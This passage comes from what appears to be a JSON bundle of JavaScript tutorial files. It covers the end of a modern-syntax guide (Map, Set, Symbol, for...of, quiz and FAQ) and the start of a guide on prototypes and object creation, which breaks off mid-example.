'dynamicKey';\nconst index = 0;\n\nconst obj = {\n  [key]: 'value',\n  [`item_${index}`]: 'first item',\n  ['get' + 'Name']() {\n    return this.name;\n  }\n};\n\nconsole.log(obj.dynamicKey);  // \"value\"\nconsole.log(obj.item_0);      // \"first item\"\n```\n\n**Practical example:**\n\n```javascript\nfunction createState(key, value) {\n  return {\n    [key]: value,\n    [`set${key.charAt(0).toUpperCase() + key.slice(1)}`](newValue) {\n      this[key] = newValue;\n    }\n  };\n}\n\nconst state = createState('count', 0);\nconsole.log(state);  // { count: 0, setCount: [Function] }\nstate.setCount(5);\nconsole.log(state.count);  // 5\n```\n\n---\n\n## Map, Set, and Symbol\n\nES6 introduced new built-in data structures and a new primitive type.\n\n### Map\n\n[Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) is a collection of key-value pairs where keys can be any type (not just strings).\n\n```javascript\nconst map = new Map();\n\n// Any value can be a key\nconst objKey = { id: 1 };\nmap.set('string', 'value1');\nmap.set(42, 'value2');\nmap.set(objKey, 'value3');\n\nconsole.log(map.get(objKey));  // \"value3\"\nconsole.log(map.size);         // 3\nconsole.log(map.has('string')); // true\n\n// Iteration (maintains insertion order)\nfor (const [key, value] of map) {\n  console.log(key, value);\n}\n\n// Convert to/from arrays\nconst arr = [...map];  // [['string', 'value1'], [42, 'value2'], ...]\nconst map2 = new Map([['a', 1], ['b', 2]]);\n```\n\n**When to use Map vs Object:**\n\n| Use Case | Object | Map |\n|----------|--------|-----|\n| Keys are strings | ✓ | ✓ |\n| Keys are any type | ✗ | ✓ |\n| Need insertion order | ✓ (string keys) | ✓ |\n| Need size property | ✗ | ✓ |\n| Frequent add/remove | Slower | Faster |\n| JSON serialization | ✓ | ✗ |\n\n### Set\n\n[Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) is a collection of unique values.\n\n```javascript\nconst set = new Set([1, 2, 3, 3, 3]);\nconsole.log(set);  // Set { 1, 2, 3 }\n\nset.add(4);\nset.delete(1);\nconsole.log(set.has(2));  // true\nconsole.log(set.size);    // 3\n\n// Remove duplicates from array\nconst numbers = [1, 2, 2, 3, 3, 3];\nconst unique = [...new Set(numbers)];\nconsole.log(unique);  // [1, 2, 3]\n\n// Set operations\nconst a = new Set([1, 2, 3]);\nconst b = new Set([2, 3, 4]);\n\nconst union = new Set([...a, ...b]);           // {1, 2, 3, 4}\nconst intersection = [...a].filter(x => b.has(x));  // [2, 3]\nconst difference = [...a].filter(x => !b.has(x));   // [1]\n```\n\n### Symbol\n\n[Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) is a primitive type for unique identifiers.\n\n```javascript\n// Every Symbol is unique\nconst sym1 = Symbol('description');\nconst sym2 = Symbol('description');\nconsole.log(sym1 === sym2);  // false\n\n// Use as object keys (hidden from normal iteration)\nconst ID = Symbol('id');\nconst user = {\n  name: 'Alice',\n  [ID]: 12345\n};\n\nconsole.log(user[ID]);        // 12345\nconsole.log(Object.keys(user));  // ['name'] (Symbol not included)\n\n// Well-known Symbols customize object behavior\nconst collection = {\n  items: [1, 2, 3],\n  [Symbol.iterator]() {\n    let i = 0;\n    return {\n      next: () => ({\n        value: this.items[i],\n        done: i++ >= this.items.length\n      })\n    };\n  }\n};\n\nfor (const item of collection) {\n  console.log(item);  // 1, 2, 3\n}\n```\n\n---\n\n## for...of Loop\n\nThe [for...of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of) loop iterates over iterable objects (arrays, strings, Maps, Sets, etc.).\n\n```javascript\n// Arrays\nconst colors = ['red', 'green', 'blue'];\nfor (const color of colors) {\n  console.log(color);  // \"red\", \"green\", \"blue\"\n}\n\n// Strings\nfor (const char of 'hello') {\n  console.log(char);  // \"h\", \"e\", \"l\", \"l\", \"o\"\n}\n\n// Maps\nconst map = new Map([['a', 1], ['b', 2]]);\nfor (const [key, value] of map) {\n  console.log(key, value);  // \"a\" 1, \"b\" 2\n}\n\n// Sets\nconst set = new Set([1, 2, 3]);\nfor (const num of set) {\n  console.log(num);  // 1, 2, 3\n}\n\n// With destructuring\nconst users = [\n  { name: 'Alice', age: 25 },\n  { name: 'Bob', age: 30 }\n];\nfor (const { name, age } of users) {\n  console.log(`${name} is ${age}`);\n}\n```\n\n### for...of vs for...in\n\n| | `for...of` | `for...in` |\n|---|-----------|-----------|\n| Iterates over | Values | Keys (property names) |\n| Works with | Iterables (Array, String, Map, Set) | Objects |\n| Array indices | Use `.entries()` | Yes (as strings) |\n\n```javascript\nconst arr = ['a', 'b', 'c'];\n\nfor (const value of arr) {\n  console.log(value);  // \"a\", \"b\", \"c\" (values)\n}\n\nfor (const index in arr) {\n  console.log(index);  // \"0\", \"1\", \"2\" (keys as strings)\n}\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about modern JavaScript syntax:**\n\n1. **Arrow functions inherit `this`** from the enclosing scope. Don't use them as object methods or constructors.\n\n2. **Destructuring extracts values** from arrays (by position) and objects (by property name). Use it for cleaner function parameters.\n\n3. **Spread (`...`) expands**, rest (`...`) collects. Same syntax, different contexts.\n\n4. **`??` checks for null/undefined only**. Use it when `0`, `''`, or `false` are valid values. Use `||` when you want fallback for any falsy value.\n\n5. **Optional chaining (`?.`)** prevents \"cannot read property of undefined\" errors. Don't overuse it or you'll hide bugs.\n\n6. **Template literals** use backticks and support `${expressions}` and multi-line strings.\n\n7. **Default parameters trigger only on `undefined`**, not `null` or other falsy values.\n\n8. **Map keys can be any type**, maintain insertion order, and have a `.size` property. Use Map when Object doesn't fit.\n\n9. **Set stores unique values**. Spread a Set to deduplicate an array: `[...new Set(arr)]`.\n\n10. **`for...of` iterates values**, `for...in` iterates keys. Use `for...of` for arrays.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the output of `0 ?? 'default'` vs `0 || 'default'`?\">\n    **Answer:**\n    \n    - `0 ?? 'default'` returns `0`\n    - `0 || 'default'` returns `'default'`\n    \n    The nullish coalescing operator (`??`) only returns the right side for `null` or `undefined`. Since `0` is neither, it returns `0`.\n    \n    The logical OR (`||`) returns the right side for any falsy value. Since `0` is falsy, it returns `'default'`.\n    \n    ```javascript\n    // Use ?? when 0 is a valid value\n    const count = response.count ?? 10;\n    \n    // Use || when any falsy value should trigger default\n    const name = input || 'Anonymous';\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: How do you return an object literal from an arrow function?\">\n    **Answer:**\n    \n    Wrap the object literal in parentheses:\n    \n    ```javascript\n    // ❌ WRONG - braces interpreted as function body\n    const createUser = name => { name, active: true };\n    // Returns undefined\n    \n    // ✓ CORRECT - parentheses make it an expression\n    const createUser = name => ({ name, active: true });\n    // Returns { name: '...', active: true }\n    ```\n    \n    Without parentheses, JavaScript interprets `{ }` as a function body block, not an object literal. The parentheses force it to be treated as an expression.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What's the difference between spread and rest?\">\n    **Answer:**\n    \n    They use the same `...` syntax but do opposite things:\n    \n    **Spread** expands an iterable into individual elements:\n    ```javascript\n    const arr = [1, 2, 3];\n    console.log(...arr);        // 1 2 3 (individual values)\n    const copy = [...arr];      // [1, 2, 3] (new array)\n    Math.max(...arr);           // 3 (arguments spread)\n    ```\n    \n    **Rest** collects multiple elements into an array:\n    ```javascript\n    function sum(...numbers) {  // Collects all args\n      return numbers.reduce((a, b) => a + b, 0);\n    }\n    \n    const [first, ...rest] = [1, 2, 3, 4];\n    // first = 1, rest = [2, 3, 4]\n    ```\n    \n    **Rule of thumb:** In a function definition or destructuring pattern, it's rest. Everywhere else (function calls, array/object literals), it's spread.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: Why shouldn't you use arrow functions as object methods?\">\n    **Answer:**\n    \n    Arrow functions don't have their own `this`. They inherit `this` from the enclosing lexical scope, which is usually the global object or `undefined` (in strict mode).\n    \n    ```javascript\n    const user = {\n      name: 'Alice',\n      \n      // ❌ Arrow function - 'this' is NOT the user object\n      greetArrow: () => {\n        console.log(`Hi, I'm ${this.name}`);\n      },\n      \n      // ✓ Regular function - 'this' IS the user object\n      greetRegular() {\n        console.log(`Hi, I'm ${this.name}`);\n      }\n    };\n    \n    user.greetArrow();   // \"Hi, I'm undefined\"\n    user.greetRegular(); // \"Hi, I'm Alice\"\n    ```\n    \n    Use regular functions (or method shorthand) for object methods when you need access to `this`.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How do you swap two variables without a temporary variable?\">\n    **Answer:**\n    \n    Use array destructuring:\n    \n    ```javascript\n    let a = 1;\n    let b = 2;\n    \n    [a, b] = [b, a];\n    \n    console.log(a);  // 2\n    console.log(b);  // 1\n    ```\n    \n    This creates a temporary array `[b, a]` (which is `[2, 1]`), then destructures it back into `a` and `b` in the new order.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What does `user?.address?.city ?? 'Unknown'` return if user is null?\">\n    **Answer:**\n    \n    It returns `'Unknown'`.\n    \n    Here's the evaluation:\n    1. `user?.address` — `user` is `null`, so optional chaining short-circuits and returns `undefined`\n    2. `undefined?.city` — This never runs because we already got `undefined`\n    3. `undefined ?? 'Unknown'` — `undefined` is nullish, so we get `'Unknown'`\n    \n    ```javascript\n    const user = null;\n    const city = user?.address?.city ?? 'Unknown';\n    console.log(city);  // \"Unknown\"\n    \n    // Without optional chaining, this would throw:\n    // TypeError: Cannot read property 'address' of null\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is ES6 and why does it matter?\">\n    ES6 (ECMAScript 2015) was the largest single update to JavaScript, introducing `let`/`const`, arrow functions, classes, template literals, destructuring, modules, Promises, and more. It transformed JavaScript from a scripting language into a modern programming language. Since ES6, the [TC39 committee](https://tc39.es/) releases yearly specification updates with incremental features.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between arrow functions and regular functions?\">\n    Arrow functions have shorter syntax and don't bind their own `this`, `arguments`, `super`, or `new.target`. They inherit `this` from the enclosing scope, making them ideal for callbacks and closures. Regular functions are needed for object methods, constructors, and any context requiring dynamic `this` binding. See [MDN's arrow function reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) for the full list of differences.\n  </Accordion>\n\n  <Accordion title=\"What is destructuring in JavaScript?\">\n    Destructuring is syntax for extracting values from arrays or properties from objects into distinct variables. Instead of `const name = user.name`, you write `const { name } = user`. It works with nested objects, arrays, default values, and renamed variables. The [ECMAScript specification](https://tc39.es/ecma262/#sec-destructuring-assignment) defines it as a destructuring assignment pattern.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between spread and rest operators?\">\n    Both use the `...` syntax but in different contexts. The **spread** operator expands an iterable into individual elements: `[...arr]` copies an array. The **rest** operator collects multiple elements into a single array: `function(...args)` gathers all arguments. Spread appears in expressions; rest appears in function parameters and destructuring patterns.\n  </Accordion>\n\n  <Accordion title=\"What is optional chaining and when should I use it?\">\n    Optional chaining (`?.`) safely accesses deeply nested properties without checking each level for `null` or `undefined`. Instead of `user && user.address && user.address.city`, you write `user?.address?.city`. It returns `undefined` if any part of the chain is nullish. Introduced in ES2020, it pairs naturally with the nullish coalescing operator (`??`) for providing defaults.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Scope and Closures\" icon=\"layer-group\" href=\"/concepts/scope-and-closures\">\n    Deep dive into let, const, var, block scope, and the temporal dead zone\n  </Card>\n  <Card title=\"this, call, apply and bind\" icon=\"bullseye\" href=\"/concepts/this-call-apply-bind\">\n    Understanding arrow function this binding in context of all binding rules\n  </Card>\n  <Card title=\"ES Modules\" icon=\"box\" href=\"/concepts/es-modules\">\n    Modern import/export syntax for organizing JavaScript code\n  </Card>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    Async features that pair well with modern syntax like async/await\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Destructuring Assignment — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment\">\n    Complete reference for array and object destructuring patterns\n  </Card>\n  <Card title=\"Spread Syntax — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax\">\n    Documentation for the spread operator in arrays, objects, and function calls\n  </Card>\n  <Card title=\"Arrow Functions — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions\">\n    Arrow function syntax, limitations, and this binding behavior\n  </Card>\n  <Card title=\"Optional Chaining — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining\">\n    Safe property access with the ?. operator\n  </Card>\n  <Card title=\"Nullish Coalescing — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing\">\n    The ?? operator and how it differs from ||\n  </Card>\n  <Card title=\"Template Literals — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals\">\n    String interpolation, multi-line strings, and tagged templates\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Destructuring Assignment\" icon=\"newspaper\" href=\"https://javascript.info/destructuring-assignment\">\n    Thorough breakdown of both array and object destructuring with progressive examples from basic to nested patterns. Includes interactive exercises that reinforce each concept.\n  </Card>\n  <Card title=\"Rest Parameters and Spread Syntax\" icon=\"newspaper\" href=\"https://javascript.info/rest-parameters-spread\">\n    Clearly distinguishes between the visually identical `...` syntax for rest vs spread. The comparison with the legacy `arguments` object shows why modern features are preferred.\n  </Card>\n  <Card title=\"Optional Chaining\" icon=\"newspaper\" href=\"https://javascript.info/optional-chaining\">\n    Walks through the evolution from verbose `&&` chains to elegant optional chaining, covering all three syntax forms. Includes guidance on when NOT to overuse it.\n  </Card>\n  <Card title=\"Nullish Coalescing Operator\" icon=\"newspaper\" href=\"https://javascript.info/nullish-coalescing-operator\">\n    Explains the crucial difference between `??` and `||`. This distinction prevents common bugs when working with legitimate zero or empty string values.\n  </Card>\n  <Card title=\"A Dead Simple Intro to Destructuring\" icon=\"newspaper\" href=\"https://wesbos.com/destructuring-objects\">\n    Wes Bos's practical teaching style with real-world examples including API response handling and deeply nested data extraction. Short, focused, and immediately applicable.\n  </Card>\n  <Card title=\"Template Literals\" icon=\"newspaper\" href=\"https://css-tricks.com/template-literals/\">\n    Goes beyond basic interpolation to explore tagged template literals for building custom DSLs and sanitizing user input. Includes a practical reusable template function.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Destructuring in 100 Seconds\" icon=\"video\" href=\"https://www.youtube.com/watch?v=UgEaJBz3bjY\">\n    Fireship's rapid-fire format packs array destructuring, object destructuring, default values, and nested patterns into a dense but digestible 100 seconds.\n  </Card>\n  <Card title=\"JavaScript ES6 Arrow Functions Tutorial\" icon=\"video\" href=\"https://www.youtube.com/watch?v=h33Srr5J9nY\">\n    Kyle from Web Dev Simplified walks through arrow function syntax variations, implicit returns, and the critical `this` binding differences from traditional functions.\n  </Card>\n  <Card title=\"Spread Operator and Rest Parameters\" icon=\"video\" href=\"https://www.youtube.com/watch?v=iLx4ma8ZqvQ\">\n    Practical use cases including array concatenation, object merging, and function argument collection with side-by-side comparisons to ES5 alternatives.\n  </Card>\n  <Card title=\"Optional Chaining Explained\" icon=\"video\" href=\"https://www.youtube.com/watch?v=v2tJ3nzXh8I\">\n    Shows how optional chaining eliminates defensive coding patterns when accessing deeply nested object properties. Includes real-world API response examples.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/object-creation-prototypes.mdx",
    "content": "---\ntitle: \"Prototypes & Object Creation\"\nsidebarTitle: \"Object Creation & Prototypes: How Objects Inherit\"\ndescription: \"Learn JavaScript prototypes and object creation. Understand the prototype chain, new operator, Object.create(), and inheritance.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Object-Oriented JavaScript\"\n\"article:tag\": \"javascript prototypes, prototype chain, Object.create, new operator, object inheritance\"\n---\n\nHow does a plain JavaScript object know about methods like `.toString()` or `.hasOwnProperty()` that you never defined? How does JavaScript let objects inherit from other objects without traditional classes?\n\n```javascript\n// You create a simple object\nconst player = { name: \"Alice\", health: 100 }\n\n// But it has methods you never defined!\nconsole.log(player.toString())        // \"[object Object]\"\nconsole.log(player.hasOwnProperty(\"name\"))  // true\n\n// Where do these come from?\nconsole.log(Object.getPrototypeOf(player))  // { constructor: Object, toString: f, ... }\n```\n\nThe answer is the **[prototype chain](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)**. It's JavaScript's inheritance mechanism, defined in the ECMAScript specification as the `[[Prototype]]` internal slot. Every object has a hidden link to another object called its **prototype**. When you access a property, JavaScript looks for it on the object first, then follows this chain of prototypes until it finds the property or reaches the end (`null`).\n\n<Info>\n**What you'll learn in this guide:**\n- What the prototype chain is and how property lookup works\n- The difference between `[[Prototype]]`, `__proto__`, and `.prototype`\n- How to create objects with `Object.create()`\n- What the `new` operator does (the 4 steps)\n- How to copy properties with `Object.assign()`\n- How to inspect and modify prototypes\n- Common prototype methods like `hasOwnProperty()`\n- Prototype pitfalls and how to avoid them\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [Primitive Types](/concepts/primitive-types) and [Primitives vs Objects](/concepts/primitives-objects). If objects and their properties are new to you, read those guides first!\n</Warning>\n\n---\n\n## What is the Prototype Chain?\n\nThe **prototype chain** is JavaScript's way of implementing inheritance. Every object has an internal link (called `[[Prototype]]`) to another object, its prototype. When you try to access a property on an object, JavaScript:\n\n1. First looks for the property on the object itself\n2. If not found, looks on the object's prototype\n3. If still not found, looks on the prototype's prototype\n4. Continues until it finds the property or reaches `null` (the end of the chain)\n\n```javascript\n// Create a simple object\nconst wizard = {\n  name: \"Gandalf\",\n  castSpell() {\n    return `${this.name} casts a spell!`\n  }\n}\n\n// Create another object that inherits from wizard\nconst apprentice = Object.create(wizard)\napprentice.name = \"Harry\"\n\n// apprentice has its own 'name' property\nconsole.log(apprentice.name)  // \"Harry\"\n\n// But castSpell comes from the prototype (wizard)\nconsole.log(apprentice.castSpell())  // \"Harry casts a spell!\"\n\n// The prototype chain:\n// apprentice → wizard → Object.prototype → null\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         THE PROTOTYPE CHAIN                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   apprentice.castSpell()                                                 │\n│        │                                                                 │\n│        │  1. Does apprentice have castSpell? NO                          │\n│        ▼                                                                 │\n│   ┌──────────────┐                                                       │\n│   │  apprentice  │                                                       │\n│   │──────────────│                                                       │\n│   │ name: \"Harry\"│                                                       │\n│   │ [[Prototype]]│────┐                                                  │\n│   └──────────────┘    │                                                  │\n│                       │  2. Does wizard have castSpell? YES! Use it      │\n│                       ▼                                                  │\n│               ┌──────────────────┐                                       │\n│               │      wizard      │                                       │\n│               │──────────────────│                                       │\n│               │ name: \"Gandalf\"  │                                       │\n│               │ castSpell: fn    │ ◄── Found here!                       │\n│               │ [[Prototype]]    │────┐                                  │\n│               └──────────────────┘    │                                  │\n│                                       │  3. If not found, keep going...  │\n│                                       ▼                                  │\n│                           ┌────────────────────┐                         │\n│                           │  Object.prototype  │                         │\n│                           │────────────────────│                         │\n│                           │ toString: fn       │                         │\n│                           │ hasOwnProperty: fn │                         │\n│                           │ [[Prototype]]      │────┐                    │\n│                           └────────────────────┘    │                    │\n│                                                     │                    │\n│                                                     ▼                    │\n│                                                   null                   │\n│                                            (end of chain)                │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Tip>\n**The Chain Always Ends:** Every prototype chain eventually reaches `Object.prototype`, then `null`. As documented on MDN, this is why all objects have access to methods like `toString()` and `hasOwnProperty()`. They inherit them from `Object.prototype`.\n</Tip>\n\n---\n\n## Understanding `[[Prototype]]`, `__proto__`, and `.prototype`\n\nThese three terms confuse many developers. Let's clarify:\n\n| Term | What It Is | How to Access |\n|------|------------|---------------|\n| `[[Prototype]]` | The internal prototype link every object has | Not directly accessible (it's internal) |\n| `__proto__` | A getter/setter that exposes `[[Prototype]]` | `obj.__proto__` (deprecated, avoid in production) |\n| `.prototype` | A property on **functions** used when creating instances with `new` | `Function.prototype` |\n\n```javascript\n// Every object has [[Prototype]] — an internal link to its prototype\nconst player = { name: \"Alice\" }\n\n// __proto__ exposes [[Prototype]] (deprecated but works)\nconsole.log(player.__proto__ === Object.prototype)  // true\n\n// .prototype exists only on FUNCTIONS\nfunction Player(name) {\n  this.name = name\n}\n\n// When you use 'new Player()', the new object's [[Prototype]]\n// is set to Player.prototype\nconsole.log(Player.prototype)  // { constructor: Player }\n\nconst alice = new Player(\"Alice\")\nconsole.log(Object.getPrototypeOf(alice) === Player.prototype)  // true\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE THREE PROTOTYPE TERMS                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  [[Prototype]]     The hidden internal slot every object has             │\n│  ──────────────    Points to the object's prototype                      │\n│                    You can't access it directly                          │\n│                                                                          │\n│  __proto__         A way to READ/WRITE [[Prototype]]                     │\n│  ─────────         obj.__proto__ = Object.getPrototypeOf(obj)            │\n│                    DEPRECATED! Use Object.getPrototypeOf() instead       │\n│                                                                          │\n│  .prototype        A property that exists ONLY on functions              │\n│  ──────────        Used as the [[Prototype]] for objects                 │\n│                    created with new                                      │\n│                                                                          │\n│  ─────────────────────────────────────────────────────────────────────   │\n│                                                                          │\n│     function Player(name) { this.name = name }                           │\n│                                                                          │\n│     Player.prototype ─────────────┐                                      │\n│                                   │                                      │\n│     const p = new Player(\"A\")     │                                      │\n│           │                       │                                      │\n│           │ [[Prototype]] ════════╧═══▶ { constructor: Player }          │\n│           │                                      │                       │\n│           ▼                                      │ [[Prototype]]         │\n│     ┌───────────┐                                ▼                       │\n│     │  p        │                       Object.prototype                 │\n│     │───────────│                                │                       │\n│     │name: \"A\"  │                                │ [[Prototype]]         │\n│     └───────────┘                                ▼                       │\n│                                                null                      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Warning>\n**Don't use `__proto__` in production code!** It's deprecated and has performance issues. Use `Object.getPrototypeOf()` to read and `Object.setPrototypeOf()` to write (sparingly).\n</Warning>\n\n---\n\n## How Property Lookup Works\n\nWhen you access a property on an object, JavaScript performs a **prototype chain lookup**:\n\n<Steps>\n  <Step title=\"Check the object itself\">\n    JavaScript first looks for the property directly on the object.\n  </Step>\n  <Step title=\"Check the prototype\">\n    If not found, it looks at `Object.getPrototypeOf(obj)` (the object's prototype).\n  </Step>\n  <Step title=\"Continue up the chain\">\n    If still not found, it checks the prototype's prototype, and so on.\n  </Step>\n  <Step title=\"Reach null or find the property\">\n    The search stops when the property is found OR when `null` is reached (property is `undefined`).\n  </Step>\n</Steps>\n\n```javascript\nconst grandparent = {\n  familyName: \"Smith\",\n  sayHello() {\n    return `Hello from the ${this.familyName} family!`\n  }\n}\n\nconst parent = Object.create(grandparent)\nparent.job = \"Engineer\"\n\nconst child = Object.create(parent)\nchild.name = \"Alice\"\n\n// Property lookup in action:\nconsole.log(child.name)        // \"Alice\" (found on child)\nconsole.log(child.job)         // \"Engineer\" (found on parent)\nconsole.log(child.familyName)  // \"Smith\" (found on grandparent)\nconsole.log(child.sayHello())  // \"Hello from the Smith family!\"\nconsole.log(child.age)         // undefined (not found anywhere)\n\n// Visualizing the chain\nconsole.log(Object.getPrototypeOf(child) === parent)       // true\nconsole.log(Object.getPrototypeOf(parent) === grandparent) // true\nconsole.log(Object.getPrototypeOf(grandparent) === Object.prototype) // true\nconsole.log(Object.getPrototypeOf(Object.prototype))       // null\n```\n\n### Property Shadowing\n\nWhen you set a property on an object, it creates or updates the property **on that object**, even if a property with the same name exists on the prototype:\n\n```javascript\nconst prototype = {\n  greeting: \"Hello\",\n  count: 0\n}\n\nconst obj = Object.create(prototype)\n\n// Reading — uses prototype's value\nconsole.log(obj.greeting)  // \"Hello\" (from prototype)\nconsole.log(obj.count)     // 0 (from prototype)\n\n// Writing — creates property on obj, \"shadows\" the prototype's\nobj.greeting = \"Hi\"\nobj.count = 5\n\nconsole.log(obj.greeting)        // \"Hi\" (own property)\nconsole.log(prototype.greeting)  // \"Hello\" (unchanged!)\n\nconsole.log(obj.count)           // 5 (own property)\nconsole.log(prototype.count)     // 0 (unchanged!)\n\n// Check what's \"own\" vs inherited\nconsole.log(obj.hasOwnProperty(\"greeting\"))  // true (it's on obj now)\nconsole.log(obj.hasOwnProperty(\"count\"))     // true\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                       PROPERTY SHADOWING                                 │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   BEFORE obj.greeting = \"Hi\"           AFTER obj.greeting = \"Hi\"         │\n│   ──────────────────────────           ─────────────────────────         │\n│                                                                          │\n│   obj                                  obj                               │\n│   ┌─────────────┐                      ┌──────────────────┐              │\n│   │ (empty)     │                      │ greeting: \"Hi\"   │ ◄── shadows  │\n│   │ [[Proto]]───┼──┐                   │ [[Proto]]────────┼──┐           │\n│   └─────────────┘  │                   └──────────────────┘  │           │\n│                    │                                         │           │\n│                    ▼                                         ▼           │\n│   prototype        prototype                                             │\n│   ┌──────────────────────┐             ┌──────────────────────┐          │\n│   │ greeting: \"Hello\"    │             │ greeting: \"Hello\"    │ hidden   │\n│   │ count: 0             │             │ count: 0             │          │\n│   └──────────────────────┘             └──────────────────────┘          │\n│                                                                          │\n│   obj.greeting returns \"Hello\"         obj.greeting returns \"Hi\"         │\n│   (found on prototype)                 (found on obj, stops looking)     │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Ways to Create Objects in JavaScript\n\nJavaScript gives you several ways to create objects, each with different use cases:\n\n### 1. Object Literals\n\nThe simplest way. Great for one-off objects:\n\n```javascript\n// Object literal — prototype is automatically Object.prototype\nconst player = {\n  name: \"Alice\",\n  health: 100,\n  attack() {\n    return `${this.name} attacks!`\n  }\n}\n\nconsole.log(Object.getPrototypeOf(player) === Object.prototype)  // true\n```\n\n### 2. Object.create() — Create with Specific Prototype\n\n[`Object.create()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) creates a new object with a specified prototype:\n\n```javascript\n// Create a prototype object\nconst animalProto = {\n  speak() {\n    return `${this.name} makes a sound.`\n  },\n  eat(food) {\n    return `${this.name} eats ${food}.`\n  }\n}\n\n// Create objects that inherit from animalProto\nconst dog = Object.create(animalProto)\ndog.name = \"Rex\"\ndog.breed = \"German Shepherd\"\n\nconst cat = Object.create(animalProto)\ncat.name = \"Whiskers\"\ncat.color = \"orange\"\n\nconsole.log(dog.speak())  // \"Rex makes a sound.\"\nconsole.log(cat.eat(\"fish\"))  // \"Whiskers eats fish.\"\n\n// Both share the same prototype\nconsole.log(Object.getPrototypeOf(dog) === animalProto)  // true\nconsole.log(Object.getPrototypeOf(cat) === animalProto)  // true\n```\n\n#### Creating Objects with No Prototype\n\nPass `null` to create an object with **no prototype**. This is useful for dictionaries:\n\n```javascript\n// Regular object inherits from Object.prototype\nconst regular = {}\nconsole.log(regular.toString)  // [Function: toString]\nconsole.log(\"toString\" in regular)  // true\n\n// Object with null prototype — truly empty\nconst dict = Object.create(null)\nconsole.log(dict.toString)  // undefined\nconsole.log(\"toString\" in dict)  // false\n\n// Useful for safe dictionaries (no inherited properties to collide with)\ndict[\"hasOwnProperty\"] = \"I can use any key!\"\nconsole.log(dict[\"hasOwnProperty\"])  // \"I can use any key!\"\n\n// With regular object, this would shadow the method:\nconst risky = {}\nrisky[\"hasOwnProperty\"] = \"oops\"\n// risky.hasOwnProperty(\"x\") would now throw an error!\n```\n\n#### Object.create() with Property Descriptors\n\nYou can define properties with descriptors:\n\n```javascript\nconst person = Object.create(Object.prototype, {\n  name: {\n    value: \"Alice\",\n    writable: true,\n    enumerable: true,\n    configurable: true\n  },\n  age: {\n    value: 30,\n    writable: false,  // Can't change age\n    enumerable: true,\n    configurable: false\n  },\n  secret: {\n    value: \"hidden\",\n    enumerable: false  // Won't show in for...in or Object.keys()\n  }\n})\n\nconsole.log(person.name)  // \"Alice\"\nconsole.log(person.age)   // 30\nperson.age = 25           // Silently fails (or throws in strict mode)\nconsole.log(person.age)   // Still 30\n\nconsole.log(Object.keys(person))  // [\"name\", \"age\"] (no \"secret\")\n```\n\n### 3. The `new` Operator — Create from Constructor\n\nThe [`new`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new) operator creates an object from a constructor function. When you call `new Constructor(args)`, JavaScript performs **4 steps**:\n\n<Steps>\n  <Step title=\"Create a new empty object\">\n    JavaScript creates a fresh object: `const obj = {}`\n  </Step>\n  <Step title=\"Link the prototype\">\n    Sets `obj`'s `[[Prototype]]` to `Constructor.prototype` (if it's an object). If `Constructor.prototype` is not an object (e.g., a primitive), the new object uses `Object.prototype` instead.\n  </Step>\n  <Step title=\"Execute the constructor\">\n    Runs the constructor with `this` bound to the new object\n  </Step>\n  <Step title=\"Return the object\">\n    Returns `obj` (unless the constructor explicitly returns a non-primitive value)\n  </Step>\n</Steps>\n\n```javascript\n// A constructor function\nfunction Player(name, health) {\n  // Step 3: 'this' is bound to the new object\n  